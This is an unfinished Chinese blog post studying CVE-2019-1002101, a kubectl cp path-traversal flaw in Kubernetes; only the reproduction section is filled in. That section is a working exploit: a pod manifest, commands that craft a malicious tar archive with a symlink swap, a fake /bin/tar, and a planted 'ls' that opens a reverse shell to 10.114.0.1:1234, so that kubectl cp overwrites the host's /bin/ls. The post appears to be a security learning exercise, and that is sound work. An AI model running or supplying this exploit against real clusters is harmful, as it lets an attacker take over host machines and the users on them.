【未完】CVE-2019-1002101学习

漏洞分析

待补充…

漏洞复现

系统:Ubuntu 18.04
Kubernetes: 1.13.4

首先创建一个pod,这里我用的是Ubuntu的镜像:

apiVersion: v1
kind: Pod
metadata:
  name: pod1
spec:
  containers:
  - name: c1
    image: ubuntu:16.04
    command: ["tail", "-f", "/dev/null"]

在容器中,创建一个tar压缩包。这里我先创建一个指向/bin的符号链接,再删掉符号链接并创建一个同名的目录,在其中放一个可以创建反弹shell的ls程序:

ln -s /bin ./d
tar -cf malicious.tar ./d
rm -f ./d
mkdir ./d
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.114.0.1/1234 0>&1' > ./d/ls
chmod +x ./d/ls
tar -rf malicious.tar ./d/ls

接下来创建一个恶意的/bin/tar程序:

#!/bin/bash
cat /malicious.tar

回到宿主,调用kubectl cp,此时在容器中创建的恶意ls就会被覆盖到宿主的/bin中,当宿主中的用户运行ls的时候,就会触发反弹shell。

官方修复

待补充…

参考

[2.1] https://github.com/brompwnie/CVE-2019-1002101-Helpers/
[3.1] https://github.com/kubernetes/kubernetes/pull/75037

发表评论

您的电子邮箱地址不会被公开。 必填项已用 * 标注